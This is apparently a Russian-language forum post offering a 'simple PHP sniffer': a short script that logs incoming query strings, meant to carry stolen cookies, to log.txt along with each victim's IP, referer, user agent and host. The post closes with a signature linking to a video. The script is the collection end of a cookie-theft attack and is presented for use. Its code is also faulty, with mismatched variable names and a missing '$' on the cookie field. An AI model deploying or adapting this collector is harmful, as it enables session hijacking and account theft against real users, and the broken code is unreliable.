Простой ПХП снифер, без наворотов
<?php
if(isset($Query_String))
{
$date=date('d.m.y:H:i:s');
$fp=fopen("./log.txt","a");
fputs($fp,"Date and time:$date\n IP:$Remote_addr\n Refer: $HttP_refer\n Cookie: Query_String\n Agent:$Http_user_agent\n Host:$Http_host Server:$server_port Script:$SCriptName\n Method: $Request_Method\n");
fclose($fp);
}
?>

__________________

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ